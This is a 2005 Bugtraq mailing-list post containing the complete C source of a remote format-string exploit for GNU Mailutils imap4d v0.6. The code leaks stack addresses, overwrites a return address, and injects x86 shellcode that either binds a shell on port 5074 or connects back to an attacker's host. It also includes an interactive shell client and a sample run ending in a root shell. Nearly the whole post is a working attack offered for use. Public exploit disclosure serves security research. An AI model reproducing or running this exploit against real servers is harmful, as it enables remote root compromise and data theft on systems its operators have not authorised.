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Message-ID: <20050728015300.27754.qmail@securityfocus.com>
Date: 28 Jul 2005 01:53:00 -0000
From: coki@...ystem.com.ar
To: bugtraq@...urityfocus.com
Subject: GNU Mailutils imap4d v0.6 remote format string exploit
/* mu-imap4d_fsexp.c
*
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki@...ystem.com.ar>
*
* Original Reference:
* http://www.idefense.com/application/poi/display?id=246&type=vulnerabilities
*
* coki@...ystem:/home/coki/audit$ ./mu-imap4d_fsexp
*
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki@...ystem.com.ar>
*
* use: ./mu-imap4d_fsexp -h <target_host> [-p <target_port>]
* ./mu-imap4d_fsexp -h <target_host> -c <your_host> [-b <your_port>]
*
* -p target imapd port (143 by default)
* -c your host/ip
* -b your port (45295 by default)
*
* coki@...ystem:/home/coki/audit$ ./mu-imap4d_fsexp -h 10.0.0.1
*
* GNU Mailutils imap4d v0.6 remote format string exploit
* by CoKi <coki@...ystem.com.ar>
*
* [*] verifying host : 10.0.0.1
* [*] imapd port : 143
* [*] connecting... : done!
*
* [*] getting target info...
* [*] buffer address : 0x08059810
* [*] shellcode address : 0x080599a0
* [*] basic return address : 0xbffffa28
*
* [*] searching ret address... : 0xbffff988
*
* [!] you have a shell :)
*
* Linux firewall 2.4.31 #1 SMP Wed Jun 22 23:13:19 ART 2005 i586 unknown
* uid=0(root) gid=12(mail) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy)
*
* Tested in Slackware Linux 9.0 / 10.0 / 10.1
*
* by CoKi <coki@...ystem.com.ar>
* No System Group - http://www.nosystem.com.ar
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <getopt.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/fcntl.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define BUFFERSIZE 2048
#define ERROR -1
#define TIMEOUT 3
#define PORTBIND 5074
#define CONNBACK 45295
#define IMAPD 143
void use(char *program);
int check(unsigned long addr);
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout);
void exploit(char *host, unsigned int imapdport);
void shell(char *host, unsigned port);
void getinfo(char *host, unsigned int imapdport);
int chkshaddr(char *host, unsigned int imapdport, int i);
/*
* s0t4ipv6@...llcode.com.ar
* x86 portbind a shell in port 5074
* 92 bytes.
*/
char port_bind[] =
"\x31\xc0\x50\x40\x89\xc3\x50\x40"
"\x50\x89\xe1\xb0\x66\xcd\x80\x31"
"\xd2\x52\x66\x68\x13\xd2\x43\x66"
"\x53\x89\xe1\x6a\x10\x51\x50\x89"
"\xe1\xb0\x66\xcd\x80\x40\x89\x44"
"\x24\x04\x43\x43\xb0\x66\xcd\x80"
"\x83\xc4\x0c\x52\x52\x43\xb0\x66"
"\xcd\x80\x93\x89\xd1\xb0\x3f\xcd"
"\x80\x41\x80\xf9\x03\x75\xf6\x52"
"\x68\x6e\x2f\x73\x68\x68\x2f\x2f"
"\x62\x69\x89\xe3\x52\x53\x89\xe1"
"\xb0\x0b\xcd\x80";
/*
* BSD x86 shellcode by eSDee of Netric (www.netric.org)
* 124 byte - connect back shellcode (port=0xb0ef)
*/
char conn_back[] =
"\x31\xc0\x31\xdb\x31\xc9\x51\xb1"
"\x06\x51\xb1\x01\x51\xb1\x02\x51"
"\x89\xe1\xb3\x01\xb0\x66\xcd\x80"
"\x89\xc2\x31\xc0\x31\xc9\x51\x51"
"\x68\xff\xff\xff\xff\x66\x68\xff"
"\xff\xb1\x02\x66\x51\x89\xe7\xb3"
"\x10\x53\x57\x52\x89\xe1\xb3\x03"
"\xb0\x66\xcd\x80\x31\xc9\x39\xc1"
"\x74\x06\x31\xc0\xb0\x01\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xcd\x80"
"\x31\xc0\xb0\x3f\x89\xd3\xb1\x01"
"\xcd\x80\x31\xc0\xb0\x3f\x89\xd3"
"\xb1\x02\xcd\x80\x31\xc0\x31\xd2"
"\x50\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x50\x53\x89"
"\xe1\xb0\x0b\xcd\x80\x31\xc0\xb0"
"\x01\xcd\x80";
int bretaddr=0, shaddr=0;
unsigned int pos=0, cback=0, shsize;
unsigned short rport=CONNBACK;
in_addr_t rhost=0;
int main(int argc, char *argv[]) {
char opt, *host=NULL, *rh=NULL;
int sockfd;
unsigned int imapdport=IMAPD;
struct hostent *he;
struct sockaddr_in dest_dir;
printf("\n GNU Mailutils imap4d v0.6 remote format string exploit\n");
printf(" by CoKi <coki@...ystem.com.ar>\n\n");
while((opt = getopt(argc,argv,"h:p:c:b:")) != EOF) {
switch (opt) {
case 'h':
host = optarg;
break;
case 'p':
imapdport = atoi(optarg);
break;
case 'c':
rhost = inet_addr(optarg);
rh = optarg;
cback++;
break;
case 'b':
rport = atoi(optarg);
break;
default:
use(argv[0]);
break;
}
}
if(host == NULL) use(argv[0]);
if(cback) {
printf(" [*] verifying your host\t:");
fflush(stdout);
if((he=gethostbyname(rh)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}
shsize = strlen(conn_back);
conn_back[33]=(rhost & 0x000000ff);
conn_back[34]=(rhost & 0x0000ff00) >> 8;
conn_back[35]=(rhost & 0x00ff0000) >> 16;
conn_back[36]=(rhost & 0xff000000) >> 24;
conn_back[39]=(rport & 0xff00) >> 8;
conn_back[40]=(rport & 0x00ff);
printf(" %s\n", inet_ntoa(*((struct in_addr *)he->h_addr)));
printf(" [*] connect back port\t\t: %u\n", rport);
}
if(strlen(conn_back) < shsize) {
printf("\n [!] failed! your host or port contain null-bytes\n\n");
exit(1);
}
printf(" [*] verifying target host\t:");
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}
printf(" %s\n", inet_ntoa(*((struct in_addr *)he->h_addr)));
printf(" [*] target imapd port\t\t: %u\n\n", imapdport);
printf(" [*] connecting...\t\t:");
fflush(stdout);
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket()");
printf("\n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf(" closed\n\n");
exit(1);
}
printf(" done!\n\n");
getinfo(host, imapdport);
exploit(host, imapdport);
}
int connect_timeout(int sfd, struct sockaddr *serv_addr,
socklen_t addrlen, int timeout) {
int res, slen, flags;
struct timeval tv;
struct sockaddr_in addr;
fd_set rdf, wrf;
fcntl(sfd, F_SETFL, O_NONBLOCK);
res = connect(sfd, serv_addr, addrlen);
if (res >= 0) return res;
FD_ZERO(&rdf);
FD_ZERO(&wrf);
FD_SET(sfd, &rdf);
FD_SET(sfd, &wrf);
bzero(&tv, sizeof(tv));
tv.tv_sec = timeout;
if (select(sfd + 1, &rdf, &wrf, 0, &tv) <= 0)
return -1;
if (FD_ISSET(sfd, &wrf) || FD_ISSET(sfd, &rdf)) {
slen = sizeof(addr);
if (getpeername(sfd, (struct sockaddr*)&addr, &slen) == -1)
return -1;
flags = fcntl(sfd, F_GETFL, NULL);
fcntl(sfd, F_SETFL, flags & ~O_NONBLOCK);
return 0;
}
return -1;
}
void shell(char *host, unsigned int port) {
int sockfd, n;
char buff[BUFFERSIZE], *command = "uname -a; id;\n";
fd_set readfs;
struct hostent *he;
struct sockaddr_in dest_dir;
he=gethostbyname(host);
sockfd=socket(AF_INET, SOCK_STREAM, 0);
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(port);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf("\r\r");
}
else {
printf("\n\n [!] you have a shell :)\n\n");
fflush(stdout);
send(sockfd, command, strlen(command), 0);
while(1) {
FD_ZERO(&readfs);
FD_SET(0, &readfs);
FD_SET(sockfd, &readfs);
if(select(sockfd+1, &readfs, NULL, NULL, NULL) < 1) exit(0);
if(FD_ISSET(0,&readfs)) {
if((n = read(0,buff,sizeof(buff))) < 1)
exit(0);
if(send(sockfd, buff, n, 0) != n) exit(0);
}
if(FD_ISSET(sockfd,&readfs)) {
if((n = recv(sockfd, buff, sizeof(buff), 0)) < 1) exit(0);
write(1, buff, n);
}
}
}
}
void getinfo(char *host, unsigned int imapdport) {
char recvbuf[BUFFERSIZE], evilcmd[BUFFERSIZE], temp[BUFFERSIZE],*addr=NULL;
struct hostent *he;
struct sockaddr_in dest_dir;
int sockfd, i;
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}
printf(" [*] getting target info...\n");
fflush(stdout);
for(i=1; i<50; i++) {
bzero(recvbuf, sizeof(recvbuf));
sockfd=socket(AF_INET, SOCK_STREAM, 0);
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT);
read(sockfd, recvbuf, sizeof(recvbuf));
memset(evilcmd, 0x00, sizeof(evilcmd));
memset(evilcmd, 0x41, 496);
strcat(evilcmd, "BBBBBBBBBBBB");
sprintf(temp, ".%%%u$.8p\n", i);
strcat(evilcmd, temp);
write(sockfd, evilcmd, strlen(evilcmd));
read(sockfd, recvbuf, sizeof(recvbuf));
close(sockfd);
addr = strstr(recvbuf, ".");
if(pos == 0) if(strstr(addr, "42424242")) pos = i;
if(shaddr == 0) {
if(strstr(addr, "0x08")) {
if(chkshaddr(host, imapdport, i)) {
shaddr = strtoul(++addr, 0, 0);
printf(" [*] buffer address\t\t: %.8p\n", shaddr);
shaddr += 350;
printf(" [*] shellcode address\t\t: %.8p\n", shaddr);
}
}
}
if(bretaddr == 0) {
if(strstr(addr, "0xbf")) {
bretaddr = strtoul(++addr, 0, 0);
printf(" [*] basic return address\t: %.8p\n", bretaddr);
}
}
if(pos != 0 && shaddr != 0 && bretaddr != 0) break;
}
if(shaddr == 0) {
printf(" [*] shellcode address\t\t: not found!\n\n");
exit(1);
}
if(bretaddr == 0) {
printf(" [*] basic return address\t: not found!\n\n");
exit(1);
}
printf("\n");
}
int chkshaddr(char *host, unsigned int imapdport, int i) {
char recvbuf[BUFFERSIZE], evilcmd[BUFFERSIZE], temp[BUFFERSIZE],*addr=NULL;
struct hostent *he;
struct sockaddr_in dest_dir;
int sockfd;
he=gethostbyname(host);
bzero(recvbuf, sizeof(recvbuf));
sockfd=socket(AF_INET, SOCK_STREAM, 0);
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT);
read(sockfd, recvbuf, sizeof(recvbuf));
memset(evilcmd, 0x00, sizeof(evilcmd));
memset(evilcmd, 0x41, 496);
strcat(evilcmd, "BBBBBBBBBBBB");
sprintf(temp, "%%%u$s\n", i);
strcat(evilcmd, temp);
write(sockfd, evilcmd, strlen(evilcmd));
read(sockfd, recvbuf, sizeof(recvbuf));
close(sockfd);
if(strstr(recvbuf, "$s")) return 1;
else return 0;
}
void exploit(char *host, unsigned int imapdport) {
char evilcmd[BUFFERSIZE], temp[BUFFERSIZE], recvbuf[BUFFERSIZE];
int cn1, cn2, cn3, cn4, sockfd, retaddr;
unsigned int bal1, bal2, bal3, bal4;
struct hostent *he;
struct sockaddr_in dest_dir;
if((he=gethostbyname(host)) == NULL) {
herror(" gethostbyname()");
printf("\n");
exit(1);
}
for(retaddr=bretaddr; retaddr>=(bretaddr-500); retaddr -= 4) {
printf(" [*] searching ret address...\t: %010p", retaddr);
fflush(stdout);
bzero(evilcmd, sizeof(evilcmd));
memset(evilcmd, 0x90, 496);
if(cback) memcpy(evilcmd + 350, conn_back, strlen(conn_back));
else memcpy(evilcmd + 350, port_bind, strlen(port_bind));
bzero(temp, sizeof(temp));
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);
retaddr++;
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);
retaddr++;
sprintf(temp, "%s", &retaddr);
strncat(evilcmd, temp, 4);
bal1 = (shaddr & 0xffff0000) >> 16;
bal2 = (shaddr & 0x0000ffff);
cn1 = bal2 - 496 - 12;
cn1 = check(cn1);
cn2 = bal1 - bal2;
cn2 = check(cn2);
sprintf(temp, "%%%du%%%u$n%%%du%%%u$n", cn1, pos, cn2, pos+2);
strcat(evilcmd, temp);
strcat(evilcmd, "\n");
if((sockfd=socket(AF_INET, SOCK_STREAM, 0)) == ERROR) {
perror(" socket");
printf("\n");
exit(1);
}
dest_dir.sin_family = AF_INET;
dest_dir.sin_port = htons(imapdport);
dest_dir.sin_addr = *((struct in_addr *)he->h_addr);
bzero(&(dest_dir.sin_zero), 8);
if(connect_timeout(sockfd, (struct sockaddr *)&dest_dir,
sizeof(struct sockaddr), TIMEOUT) == ERROR) {
printf(" closed\n\n");
exit(1);
}
if (read(sockfd, recvbuf, sizeof(recvbuf)) <= 0) {
perror(" read()");
printf("\n");
exit(1);
}
if (write(sockfd, evilcmd, strlen(evilcmd)) <= 0) {
perror(" write()");
printf("\n");
exit(1);
}
close(sockfd);
if(cback) {
printf("\r\r");
continue;
}
else shell(host, PORTBIND);
retaddr -= 2;
}
if(cback) printf("\n\n [!] finished!\n\n");
else printf("\n\n [!] failed!\n\n");
}
int check(unsigned long addr) {
char tmp[128];
snprintf(tmp, sizeof(tmp), "%d", addr);
if(atoi(tmp) < 10)
addr = addr + 65536;
return addr;
}
void use(char *program) {
printf(" use: %s -h <target_host> [-p <target_port>]\n", program);
printf(" %s -h <target_host> -c <your_host> [-b <your_port>]\n\n", program);
printf(" -p target imapd port (143 by default)\n");
printf(" -c your host/ip\n");
printf(" -b your port (45295 by default)\n\n");
exit(1);
}
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